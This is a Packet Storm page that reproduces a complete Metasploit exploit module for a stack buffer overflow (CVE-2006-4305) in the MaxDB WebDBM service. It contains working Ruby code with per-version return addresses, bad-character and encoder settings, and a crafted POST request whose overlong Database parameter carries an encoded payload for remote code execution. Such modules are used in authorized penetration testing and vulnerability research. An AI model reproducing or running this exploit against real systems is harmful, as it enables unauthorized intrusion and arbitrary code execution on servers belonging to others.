exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MaxDB WebDBM Database Parameter Overflow

MaxDB WebDBM Database Parameter Overflow
Posted Oct 30, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in the MaxDB WebDBM service. By sending a specially-crafted HTTP request that contains an overly long database name. A remote attacker could overflow a buffer and execute arbitrary code on the system with privileges of the wahttp process. This Metasploit module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.

tags | exploit, remote, web, overflow, arbitrary
advisories | CVE-2006-4305
SHA-256 | 41762083ad11674f55c5750f5696d780c5f62b78712e22492dc00ab7d1673f69

MaxDB WebDBM Database Parameter Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'MaxDB WebDBM Database Parameter Overflow',
'Description' => %q{
This module exploits a stack overflow in the MaxDB WebDBM
service. By sending a specially-crafted HTTP request that contains
an overly long database name. A remote attacker could overflow a buffer
and execute arbitrary code on the system with privileges of the wahttp process.

This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2006-4305'],
['OSVDB', '28300'],
['BID', '19660'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},

'Privileged' => true,
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'MaxDB 7.6.00.16', { 'Ret' => 0x1005a08f } ], # wapi.dll
[ 'MaxDB 7.6.00.27', { 'Ret' => 0x1005b08f } ], # wapi.dll
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 29 2006'))

register_options( [ Opt::RPORT(9999) ], self.class )

end

def exploit
connect

server = rand_text_english(5, payload_badchars)
user = rand_text_english(5, payload_badchars)
pass = rand_text_english(5, payload_badchars)
port = rand(65535).to_s

sploit = rand_text_alphanumeric(91, payload_badchars) + [target.ret].pack('V')
sploit << payload.encoded

req = "Event=DBM_LOGON&Action=LOGON&Server=#{server}&Database=#{sploit}"
req << "&User=#{user}&Password=#{pass}"

res = "POST /webdbm HTTP/1.1\r\n" + "Host: #{rhost}:#{port}\r\n"
res << "Content-Length: #{req.length}" + "\r\n\r\n" + req + "\r\n"

print_status("Trying target %s..." % target.name)

sock.put(res)

#give wahttp.exe a bit to recover...
sleep 2

handler
disconnect
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close